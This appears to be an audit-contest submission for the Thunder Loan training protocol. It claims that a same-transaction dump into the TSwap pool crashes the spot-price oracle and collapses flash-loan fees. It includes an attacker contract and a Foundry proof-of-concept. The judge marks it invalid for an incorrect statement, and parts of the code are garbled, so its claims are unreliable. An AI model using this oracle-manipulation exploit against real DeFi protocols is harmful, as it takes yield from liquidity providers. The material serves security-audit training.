Thunder Loan

AI First Flight #7
Beginner FriendlyFoundryDeFiOracle
EXP
View results
Submission Details
Impact: high
Likelihood: high
Invalid

ThunderLoan: Same-Transaction TSwap Spot Oracle Manipulation Collapses Flash-Loan Fees (~99.75% LP Yield Theft)

Description

ThunderLoan prices every flash-loan fee from TSwap's instantaneous T/WETH reserve spot. OracleUpgradeable.getPriceInWeth resolves IPoolFactory.getPool(token) and then calls ITSwapPool.getPriceOfOnePoolTokenInWeth() with no TWAP, heartbeat, staleness check, or same-block lock. Official TSwapPool implements that getter as getOutputAmountBasedOnInput(1e18, tokenReserves, wethReserves) — a same-transaction constant-product quote anyone can move by trading first in the same tx.

ThunderLoan.getCalculatedFee then does:

fee = amount * P_T/WETH * s_flashLoanFee / 1e18 // s_flashLoanFee = 3e15 (0.3%)

The fee is 0.3% of the WETH-denominated value of the borrow, paid in the borrowed token. Crashing P_T/WETH therefore crashes the T-denominated repayment one-for-one. There is no max(fee, amount * 0.3%) floor.

flashloan stores that manipulated fee in a local, immediately commits it via AssetToken.updateExchangeRate(fee), and uses startingBalance + fee as the only ThunderLoan__NotPaidBack target. AssetToken's ExhangeRateCanOnlyIncrease check only requires fee >= ceil(totalSupply / s_exchangeRate) (~1e6 wei at 1e6e18 supply / 1e18 rate). It does not restore a 0.3% yield.

The in-repo MockTSwapPool hardcodes 1e18 and hides this entire class of bug. A TSwap-faithful pool does not. The same getCalculatedFee path exists on ThunderLoanUpgraded, so the planned upgrade does not fix it.

Confirmed by executed Foundry test test_sameTxTSwapDumpCollapsesFlashloanFeeBelowHonest03Pct (forge test, both cases passed). No production guard stops this. Any unprivileged contract can do it; owner/upgrade roles are not required.

Deep Dive

Intended fee path

Liquidity providers deposit T and receive AssetToken shares. Their only yield is the flash-loan fee, applied to the exchange rate before the loan is sent out.

initialize sets s_flashLoanFee = 3e15 (0.3%) and s_feePrecision = 1e18. flashloan then:

  1. Snapshots startingBalance = token.balanceOf(assetToken).

  2. Computes fee = getCalculatedFee(token, amount).

  3. Commits assetToken.updateExchangeRate(fee) before the callback.

  4. Transfers amount to the receiver and calls executeOperation.

  5. Requires endingBalance >= startingBalance + fee or reverts ThunderLoan__NotPaidBack.

That fee is both the protocol's entire LP yield and the only repayment target.

The oracle is a same-tx AMM spot

// src/protocol/OracleUpgradeable.sol:19-22
function getPriceInWeth(address token) public view returns (uint256) {
address swapPoolOfToken = IPoolFactory(s_poolFactory).getPool(token);
return ITSwapPool(swapPoolOfToken).getPriceOfOnePoolTokenInWeth();
}

Production TSwapPool quotes one pool token against current reserves (including TSwap's 0.3% swap fee). Anyone who can trade the T/WETH pool in the same transaction as flashloan sets ThunderLoan's price.

Fee is linear in that spot

// src/protocol/ThunderLoan.sol:246-251
function getCalculatedFee(IERC20 token, uint256 amount) public view returns (uint256 fee) {
uint256 valueOfBorrowedToken = (amount * getPriceInWeth(address(token))) / s_feePrecision;
fee = (valueOfBorrowedToken * s_flashLoanFee) / s_feePrecision;
}

ThunderLoanUpgraded.getCalculatedFee is identical (FEE_PRECISION instead of s_feePrecision). There is no token-denominated floor, so a 400× crash in P_T/WETH is a 400× crash in the T the borrower must return.

The only “floor” is a 1-wei rounding guard

// src/protocol/AssetToken.sol:89-93
uint256 newExchangeRate = s_exchangeRate * (totalSupply() + fee) / totalSupply();
if (newExchangeRate <= s_exchangeRate) {
revert AssetToken__ExhangeRateCanOnlyIncrease(s_exchangeRate, newExchangeRate);
}

This only needs fee >= ceil(S / R). A dust fee of 6.77e18 still increments the rate and does not revert, so LPs lock in almost no yield.

Why the in-repo suite misses this

// test/mocks/MockTSwapPool.sol:5-7
function getPriceOfOnePoolTokenInWeth() external pure returns (uint256) {
return 1e18;
}

getCalculatedFee can never move in the shipped tests. Against a reserve-faithful TSwap pool the fee is fully attacker-controlled.

Why a thin TSwap book is enough

TSwap's 0.3% fee quote on a 10e18 / 10e18 book is:

P = (0.997e18 * wethReserves) / (tokenReserves + 0.997e18)

Honest: P0 ≈ 0.9066e18. After swapExactInput(T, 200e18) reserves become ≈ 210e18 T / 0.478e18 WETH and P_manip ≈ 2.26e15. Because ThunderLoan reads that spot after the swap in the same tx, the flash-loan fee collapses from ~2,720 T to ~6.77 T.

Exploitation

Actor. Any unprivileged contract (code.length > 0). Needs a modest T inventory (200e18) — or an external flash loan of T — to dump into the T/WETH pool, plus ~7e18 T to repay the dust fee. No owner, no token hooks. T is any allowed non-WETH ERC-20 whose factory pool exists.

Preconditions.

  1. Owner called setAllowedToken(T, true), creating AssetToken A.

  2. An LP deposited 1_000_000e18 T (T.balanceOf(A) = B, A.totalSupply() > 0).

  3. initialize(poolFactory) points at a live TSwap T/WETH pool (T ≠ WETH, getPool(T) ≠ 0) seeded here with 10e18 T / 10e18 WETH.

  4. Attacker contract C is funded with 200e18 + ~20e18 T.

Honest quote on that book:

  • P0 ≈ 0.9066e18

  • honestFee = getCalculatedFee(T, 1_000_000e18) = 2719832681640447393000 (~2,719.83 T)

Single-transaction attack.

  1. C.approve(tswapPool, 200e18).

  2. TSwapPool.swapExactInput(T, 200e18, WETH, 0, deadline).

  • Reserves ≈ 210e18 T / 0.478e18 WETH.

  • P_manip ≈ 2.26e15 (T in WETH crashed ~400×).

  1. C → ThunderLoan.flashloan(C, T, 1_000_000e18, "") through the ERC1967/UUPS proxy.

  2. Inside flashloan:

  • startingBalance = B.

  • fee = getCalculatedFee(T, amount) now reads P_manipfee = 6769606971557178000 (~6.77 T).

  • A.updateExchangeRate(fee_manip) commits the dust increment (1002719832681640447 → 1002726620700810287).

  • s_currentlyFlashLoaning[T] = true.

  • A.transferUnderlyingTo(C, amount).

  1. executeOperation: C.approve(ThunderLoan, amount + fee_manip) then ThunderLoan.repay(T, amount + fee_manip).

  2. Resume: endingBalance == startingBalance + fee_manip, so ThunderLoan__NotPaidBack does not fire. s_currentlyFlashLoaning[T] = false.

  3. Optional unwind: swap WETH back for T. Committed fee and s_exchangeRate stay at the manipulated values.

Sketch of the attacker:

function attack(uint256 dumpAmount, uint256 borrowAmount) external {
token.approve(address(tswapPool), dumpAmount);
tswapPool.swapExactInput(address(token), dumpAmount, address(weth), 0, block.timestamp);
thunderLoan.flashloan(address(this), token, borrowAmount, "");
}
function executeOperation(
address token,
uint256 amount,
uint256 fee,
address,
bytes calldata
) external returns (bool) {
IERC20(token).approve(address(thunderLoan), amount + fee);
IThunderLoan(msg.sender).repay(IERC20(token), amount + fee);
return true;
}

Observed end state (Foundry, both cases passed):

| Quantity | Honest | After same-tx dump |
|---|---|---|
| P_T/WETH | ≈ 0.9066e18 | ≈ 2.26e15 |
| Flash-loan fee | 2,719.83 T (2.719e21) | 6.77 T (6.770e18) |
| T.balanceOf(A) | B + 2719832681640447393000 | B + 6769606971557178000 |
| s_exchangeRate | ~0.3% bump on the full pool | 1002719832681640447 → 1002726620700810287 |

Shortfall ≈ 2.713e21 T of LP fee (~2,713 T). AMM round-trip on this thin book costs ~1–2 T, so the attack is strongly +EV. Assert fee < honestFee / 100, T.balanceOf(A) == startingBalance + fee_manip, and A.getExchangeRate() far below R * (S + honestFee) / S.

Impact

Severity: High. Flash-loan fees are ThunderLoan's only LP yield. A permissionless same-tx trade evades ~99.75% of that yield on the full pool (2,713 T saved vs ~1–2 T of AMM cost). LPs accrue almost nothing; s_exchangeRate barely moves. The borrower walks with a successful 1,000,000e18 T flash loan after paying dust.

Secondary effects:

  • The same oracle is used by deposit() on the current implementation (updateExchangeRate(getCalculatedFee(...))), so a dump also shrinks (or, in the opposite direction, inflates) deposit-side exchange-rate updates.

  • Collapsing the flash-loan fee shrinks the extra T an attacker must bring for a repay-via-deposit drain, because NotPaidBack only demands startingBalance + fee_manip.

  • ThunderLoanUpgraded.getCalculatedFee has the same oracle dependency; the planned upgrade does not close the hole.

Assumptions (standard for production): initialize(poolFactory) points at a live TSwap T/WETH pool whose getPriceOfOnePoolTokenInWeth is the reserve spot; A.totalSupply() > 0. Owner/upgrade roles are not required.

Recommendation

  1. Stop using a same-transaction AMM spot as an oracle. Feed getCalculatedFee from a manipulation-resistant source: a Uniswap-style TWAP over several minutes, a Chainlink (or equivalent) price feed with heartbeat and staleness checks, or an internally recorded observation that cannot be written and consumed in the same block.

  1. Floor the token-denominated fee. Even with a better oracle, charge at least amount * s_flashLoanFee / s_feePrecision (0.3% of principal in T). The WETH conversion must not be allowed to drive repayment below that floor.

  1. **Do not treat AssetToken__ExhangeRateCanOnlyIncrease as a fee floor.** That check is a 1-wei rounding guard, not a 0.3% yield guarantee. If a minimum protocol fee is required, enforce it in getCalculatedFee / flashloan before calling updateExchangeRate.

  1. **Replace MockTSwapPool's hardcoded 1e18** with a TSwap-faithful reserve-spot implementation so this class of bug cannot hide in unit tests.

  1. Apply the same changes to ThunderLoanUpgraded.getCalculatedFee before the planned upgrade.

Proof of Concept

diff --git a/test/mocks/TSwapFaithfulPool.sol b/test/mocks/TSwapFaithfulPool.sol
new file mode 100644
index 0000000..3edcf8b
--- /dev/null
+++ b/test/mocks/TSwapFaithfulPool.sol
@@ -0,0 +1,107 @@
+// SPDX-License-Identifier: MIT
+pragma solidity 0.8.20;
+
+import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
+
+/// @notice TSwap-faithful constant-product pool used by the oracle-manipulation PoC.
+/// @dev Official TSwapPool.getPriceOfOnePoolTokenInWeth() is
+/// getOutputAmountBasedOnInput(1e18, tokenReserves, wethReserves) — a same-tx
+/// reserve spot with no TWAP, heartbeat, or same-block lock. The in-repo
+/// MockTSwapPool hardcodes 1e18 and hides this path.
+contract TSwapFaithfulPool {

  • error TSwapFaithfulPool__DeadlineHasPassed(uint64 deadline);

  • error TSwapFaithfulPool__MustBeMoreThanZero();

  • error TSwapFaithfulPool__OutputTooLow(uint256 actual, uint256 min);

  • error TSwapFaithfulPool__InvalidToken();

+

  • IERC20 public immutable poolToken;

  • IERC20 public immutable wethToken;

+

  • constructor(address poolToken*, address wethToken*) {

  • poolToken = IERC20(poolToken_);

  • wethToken = IERC20(wethToken_);

  • }

+

  • function getOutputAmountBasedOnInput(

  • uint256 inputAmount,

  • uint256 inputReserves,

  • uint256 outputReserves

  • )

  • public

  • pure

  • returns (uint256 outputAmount)

  • {

  • if (inputAmount == 0 || outputReserves == 0) {

  • revert TSwapFaithfulPool__MustBeMoreThanZero();

  • }

  • uint256 inputAmountMinusFee = inputAmount * 997;

  • uint256 numerator = inputAmountMinusFee * outputReserves;

  • uint256 denominator = (inputReserves * 1000) + inputAmountMinusFee;

  • return numerator / denominator;

  • }

+

  • /// @dev Same implementation as official TSwapPool.getPriceOfOnePoolTokenInWeth.

  • function getPriceOfOnePoolTokenInWeth() external view returns (uint256) {

  • return getOutputAmountBasedOnInput(

  • 1e18, poolToken.balanceOf(address(this)), wethToken.balanceOf(address(this))

  • );

  • }

+

  • function swapExactInput(

  • IERC20 inputToken,

  • uint256 inputAmount,

  • IERC20 outputToken,

  • uint256 minOutputAmount,

  • uint64 deadline

  • )

  • external

  • returns (uint256 output)

  • {

  • if (inputAmount == 0) {

  • revert TSwapFaithfulPool__MustBeMoreThanZero();

  • }

  • if (deadline < uint64(block.timestamp)) {

  • revert TSwapFaithfulPool__DeadlineHasPassed(deadline);

  • }

  • if (

  • (inputToken != poolToken && inputToken != wethToken)

  • || (outputToken != poolToken && outputToken != wethToken) || inputToken == outputToken

  • ) {

  • revert TSwapFaithfulPool__InvalidToken();

  • }

+

  • uint256 inputReserves = inputToken.balanceOf(address(this));

  • uint256 outputReserves = outputToken.balanceOf(address(this));

  • output = getOutputAmountBasedOnInput(inputAmount, inputReserves, outputReserves);

  • if (output < minOutputAmount) {

  • revert TSwapFaithfulPool__OutputTooLow(output, minOutputAmount);

  • }

+

  • inputToken.transferFrom(msg.sender, address(this), inputAmount);

  • outputToken.transfer(msg.sender, output);

  • }

+}
+
+contract TSwapFaithfulPoolFactory {

  • error TSwapFaithfulPoolFactory__PoolAlreadyExists(address tokenAddress);

+

  • mapping(address token => address pool) private s_pools;

  • address public immutable wethToken;

+

  • constructor(address wethToken_) {

  • wethToken = wethToken_;

  • }

+

  • function createPool(address tokenAddress) external returns (address) {

  • if (s_pools[tokenAddress] != address(0)) {

  • revert TSwapFaithfulPoolFactory__PoolAlreadyExists(tokenAddress);

  • }

  • TSwapFaithfulPool pool = new TSwapFaithfulPool(tokenAddress, wethToken);

  • s_pools[tokenAddress] = address(pool);

  • return address(pool);

  • }

+

  • function getPool(address tokenAddress) external view returns (address) {

  • return s_pools[tokenAddress];

  • }

+}
diff --git a/test/unit/TSwapSpotOracleFeeManipulation.t.sol b/test/unit/TSwapSpotOracleFeeManipulation.t.sol
new file mode 100644
index 0000000..c718140
--- /dev/null
+++ b/test/unit/TSwapSpotOracleFeeManipulation.t.sol
@@ -0,0 +1,237 @@
+// SPDX-License-Identifier: MIT
+pragma solidity 0.8.20;
+
+/**

  • * @title PoC: same-tx TSwap dump collapses ThunderLoan flash-loan fee

  • * @notice Bug bounty PoC for tswap-spot-oracle-fee-manipulation.

  • *

  • * Attacker model

  • * --------------

  • * Any unprivileged contract (code.length > 0). No owner, upgrade, or token-hook

  • * privileges. The attacker controls:

  • * - a modest T inventory (200e18) to dump into the T/WETH TSwap book, and

  • * - ~7e18 T to repay the dust fee (or an external flash loan of T).

  • *

  • * Impact

  • * ------

  • * ThunderLoan.getCalculatedFee multiplies the borrow amount by the TSwap

  • * reserve spot (OracleUpgradeable.getPriceInWeth →

  • * ITSwapPool.getPriceOfOnePoolTokenInWeth) then by s_flashLoanFee=3e15/1e18.

  • * Official TSwap pricing is getOutputAmountBasedOnInput(1e18, tokenReserves,

  • * wethReserves) — a same-tx spot with no TWAP, heartbeat, or same-block lock.

  • * The in-repo MockTSwapPool hardcodes 1e18 and hides this.

  • *

  • * Dumping 200e18 T into a 10e18/10e18 pool drops the quoted price from

  • * ~0.9066e18 to ~2.26e15. A 1000000e18 T flash loan then snapshots

  • * fee ≈ 6.77e18 instead of the honest 0.3% fee ≈ 2.72e21. LPs accrue

  • * almost nothing; the attacker saves ~2.713e21 T (~99.75% of the only LP yield).

  • *

  • * Reproduce

  • * ---------

  • * forge test --match-test test_sameTxTSwapDumpCollapsesFlashloanFee -vv

  • */

+
+import { Test, console } from "forge-std/Test.sol";
+import { ERC20Mock } from "@openzeppelin/contracts/mocks/ERC20Mock.sol";
+import { ERC1967Proxy } from "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";
+import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
+
+import { ThunderLoan } from "../../src/protocol/ThunderLoan.sol";
+import { ThunderLoanUpgraded } from "../../src/upgradedProtocol/ThunderLoanUpgraded.sol";
+import { AssetToken } from "../../src/protocol/AssetToken.sol";
+import { IFlashLoanReceiver } from "../../src/interfaces/IFlashLoanReceiver.sol";
+import { TSwapFaithfulPool, TSwapFaithfulPoolFactory } from "../mocks/TSwapFaithfulPool.sol";
+
+interface IThunderLoanFlash {

  • function flashloan(address receiverAddress, IERC20 token, uint256 amount, bytes calldata params) external;

  • function repay(IERC20 token, uint256 amount) external;

+}
+
+contract OracleDumpFlashloanAttacker is IFlashLoanReceiver {

  • IThunderLoanFlash public immutable thunderLoan;

  • IERC20 public immutable tokenT;

  • IERC20 public immutable weth;

  • TSwapFaithfulPool public immutable tswapPool;

+

  • uint256 public lastFee;

  • uint256 public lastAmount;

+

  • constructor(address thunderLoan*, IERC20 tokenT*, IERC20 weth*, TSwapFaithfulPool tswapPool*) {

  • thunderLoan = IThunderLoanFlash(thunderLoan_);

  • tokenT = tokenT_;

  • weth = weth_;

  • tswapPool = tswapPool_;

  • }

+

  • /// @dev Same transaction: dump T into TSwap (crash the spot) then flash-loan T.

  • function attack(uint256 dumpAmount, uint256 borrowAmount) external {

  • tokenT.approve(address(tswapPool), dumpAmount);

  • tswapPool.swapExactInput(tokenT, dumpAmount, weth, 0, uint64(block.timestamp));

  • thunderLoan.flashloan(address(this), tokenT, borrowAmount, "");

  • }

+

  • function executeOperation(

  • address token,

  • uint256 amount,

  • uint256 fee,

  • address, /* initiator */

  • bytes calldata /* params */

  • )

  • external

  • returns (bool)

  • {

  • lastAmount = amount;

  • lastFee = fee;

  • IERC20(token).approve(address(thunderLoan), amount + fee);

  • thunderLoan.repay(IERC20(token), amount + fee);

  • return true;

  • }

+}
+
+contract TSwapSpotOracleFeeManipulationTest is Test {

  • uint256 internal constant POOL_RESERVE = 10e18;

  • uint256 internal constant LPDEPOSIT = 1000_000e18;

  • uint256 internal constant DUMP_AMOUNT = 200e18;

  • uint256 internal constant BORROWAMOUNT = 1000_000e18;

  • uint256 internal constant ATTACKERTBUDGET = 220e18;

+

  • // Exact values produced by official TSwap integer math on a 10e18/10e18 book.

  • uint256 internal constant HONESTPRICE = 906610893880149131;

  • uint256 internal constant HONESTFEE = 2719832681640447393000;

  • uint256 internal constant MANIPFEE = 6769606971557178_000;

  • uint256 internal constant RATEAFTERDEPOSIT = 1002719832681640447;

  • uint256 internal constant RATEAFTERMANIPFLASH = 1002726620700810_287;

+

  • ERC20Mock internal tokenT;

  • ERC20Mock internal weth;

  • TSwapFaithfulPoolFactory internal factory;

  • TSwapFaithfulPool internal tswapPool;

  • ThunderLoan internal thunderLoan;

  • AssetToken internal assetToken;

  • address internal liquidityProvider = address(0xBEEF);

+

  • function setUp() public {

  • tokenT = new ERC20Mock();

  • weth = new ERC20Mock();

+

  • factory = new TSwapFaithfulPoolFactory(address(weth));

  • tswapPool = TSwapFaithfulPool(factory.createPool(address(tokenT)));

+

  • // Thin T/WETH TSwap book: 10e18 T + 10e18 WETH.

  • tokenT.mint(address(tswapPool), POOL_RESERVE);

  • weth.mint(address(tswapPool), POOL_RESERVE);

+

  • ThunderLoan implementation = new ThunderLoan();

  • thunderLoan = ThunderLoan(address(new ERC1967Proxy(address(implementation), "")));

  • thunderLoan.initialize(address(factory));

+

  • assetToken = thunderLoan.setAllowedToken(tokenT, true);

+

  • tokenT.mint(liquidityProvider, LP_DEPOSIT);

  • vm.startPrank(liquidityProvider);

  • tokenT.approve(address(thunderLoan), LP_DEPOSIT);

  • thunderLoan.deposit(tokenT, LP_DEPOSIT);

  • vm.stopPrank();

  • }

+

  • function test_sameTxTSwapDumpCollapsesFlashloanFeeBelowHonest03Pct() public {

  • uint256 honestPrice = thunderLoan.getPriceInWeth(address(tokenT));

  • uint256 honestFee = thunderLoan.getCalculatedFee(tokenT, BORROW_AMOUNT);

  • uint256 startingBalance = tokenT.balanceOf(address(assetToken));

  • uint256 rateAfterDeposit = assetToken.getExchangeRate();

+

  • assertEq(honestPrice, HONEST_PRICE, "honest TSwap spot != getOutputAmountBasedOnInput(1e18, 10e18, 10e18)");

  • assertEq(honestFee, HONESTFEE, "honest 0.3% fee on 1000_000e18 T");

  • assertEq(startingBalance, LP_DEPOSIT, "AssetToken holds the LP deposit");

  • assertEq(rateAfterDeposit, RATEAFTERDEPOSIT, "deposit already applied the honest fee to the exchange rate");

+

  • OracleDumpFlashloanAttacker attacker =

  • new OracleDumpFlashloanAttacker(address(thunderLoan), tokenT, weth, tswapPool);

  • tokenT.mint(address(attacker), ATTACKERTBUDGET);

+

  • // Same tx: dump 200e18 T into TSwap, then flash-loan the full pool.

  • attacker.attack(DUMPAMOUNT, BORROWAMOUNT);

+

  • uint256 manipFee = attacker.lastFee();

  • uint256 endingBalance = tokenT.balanceOf(address(assetToken));

  • uint256 rateAfterFlash = assetToken.getExchangeRate();

  • uint256 honestEndingBalance = startingBalance + honestFee;

  • uint256 honestRateAfterFlash =

  • rateAfterDeposit * (assetToken.totalSupply() + honestFee) / assetToken.totalSupply();

  • uint256 feeShortfall = honestFee - manipFee;

+

  • console.log("honest TSwap spot (wei WETH / 1 T) :", honestPrice);

  • console.log("manip TSwap spot (wei WETH / 1 T) :", thunderLoan.getPriceInWeth(address(tokenT)));

  • console.log("honest flash-loan fee (T wei) :", honestFee);

  • console.log("manip flash-loan fee (T wei) :", manipFee);

  • console.log("fee shortfall (T wei) :", feeShortfall);

  • console.log("AssetToken T after repay :", endingBalance);

  • console.log("AssetToken T if honest 0.3% fee :", honestEndingBalance);

  • console.log("exchangeRate after deposit :", rateAfterDeposit);

  • console.log("exchangeRate after manip flashloan :", rateAfterFlash);

  • console.log("exchangeRate if honest 0.3% fee :", honestRateAfterFlash);

+

  • // Flash loan succeeded and repaid only the dust fee, not the 0.3% fee.

  • assertEq(attacker.lastAmount(), BORROW_AMOUNT, "borrowed the full pool");

  • assertEq(manipFee, MANIP_FEE, "snapshotted fee after swapExactInput(T, 200e18)");

  • assertLt(manipFee, honestFee / 100, "manipulated fee is < 1% of the honest 0.3% fee");

  • assertEq(endingBalance, startingBalance + manipFee, "AssetToken ended at startingBalance + fee_manip");

  • assertTrue(endingBalance != honestEndingBalance, "AssetToken did not receive the honest fee");

  • assertEq(endingBalance + feeShortfall, honestEndingBalance, "shortfall is honestFee - fee_manip");

+

  • // LPs accrue almost nothing: rate ticks by dust, not the honest ~0.3% bump.

  • assertEq(rateAfterFlash, RATEAFTERMANIP_FLASH, "exchange rate committed the dust increment");

  • assertLt(rateAfterFlash, honestRateAfterFlash, "exchange rate far below R*(S+honestFee)/S");

  • assertGt(feeShortfall, 2_713e18, "LPs lost ~2713 T of yield (~99.75% of the only LP fee)");

+

  • // No production guard: flash loan is not currently open; attacker is just an outsider.

  • assertFalse(thunderLoan.isCurrentlyFlashLoaning(tokenT));

  • assertEq(thunderLoan.owner(), address(this), "attacker was not the owner");

  • }

+

  • function test_sameTxTSwapDumpCollapsesFlashloanFeeOnUpgraded() public {

  • // Fresh upgraded instance (do not upgrade in place: storage layout of

  • // sfeePrecision vs sflashLoanFee is a separate issue).

  • tokenT = new ERC20Mock();

  • weth = new ERC20Mock();

  • factory = new TSwapFaithfulPoolFactory(address(weth));

  • tswapPool = TSwapFaithfulPool(factory.createPool(address(tokenT)));

  • tokenT.mint(address(tswapPool), POOL_RESERVE);

  • weth.mint(address(tswapPool), POOL_RESERVE);

+

  • ThunderLoanUpgraded implementation = new ThunderLoanUpgraded();

  • ThunderLoanUpgraded upgraded = ThunderLoanUpgraded(address(new ERC1967Proxy(address(implementation), "")));

  • upgraded.initialize(address(factory));

  • AssetToken upgradedAsset = upgraded.setAllowedToken(tokenT, true);

+

  • tokenT.mint(liquidityProvider, LP_DEPOSIT);

  • vm.startPrank(liquidityProvider);

  • tokenT.approve(address(upgraded), LP_DEPOSIT);

  • upgraded.deposit(tokenT, LP_DEPOSIT);

  • vm.stopPrank();

+

  • uint256 honestFee = upgraded.getCalculatedFee(tokenT, BORROW_AMOUNT);

  • uint256 startingBalance = tokenT.balanceOf(address(upgradedAsset));

  • uint256 rateBefore = upgradedAsset.getExchangeRate();

+

  • OracleDumpFlashloanAttacker attacker =

  • new OracleDumpFlashloanAttacker(address(upgraded), tokenT, weth, tswapPool);

  • tokenT.mint(address(attacker), ATTACKERTBUDGET);

  • attacker.attack(DUMPAMOUNT, BORROWAMOUNT);

+

  • uint256 manipFee = attacker.lastFee();

  • uint256 endingBalance = tokenT.balanceOf(address(upgradedAsset));

  • uint256 rateAfter = upgradedAsset.getExchangeRate();

  • uint256 honestRateAfter = rateBefore * (upgradedAsset.totalSupply() + honestFee) / upgradedAsset.totalSupply();

+

  • console.log("upgraded honest fee :", honestFee);

  • console.log("upgraded manip fee :", manipFee);

  • console.log("upgraded shortfall :", honestFee - manipFee);

+

  • assertEq(honestFee, HONEST_FEE, "upgraded getCalculatedFee uses the same TSwap spot");

  • assertEq(manipFee, MANIP_FEE, "same-tx dump collapses the upgraded fee identically");

  • assertLt(manipFee, honestFee / 100);

  • assertEq(endingBalance, startingBalance + manipFee);

  • assertLt(rateAfter, honestRateAfter);

  • }

+}

Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 2 hours ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!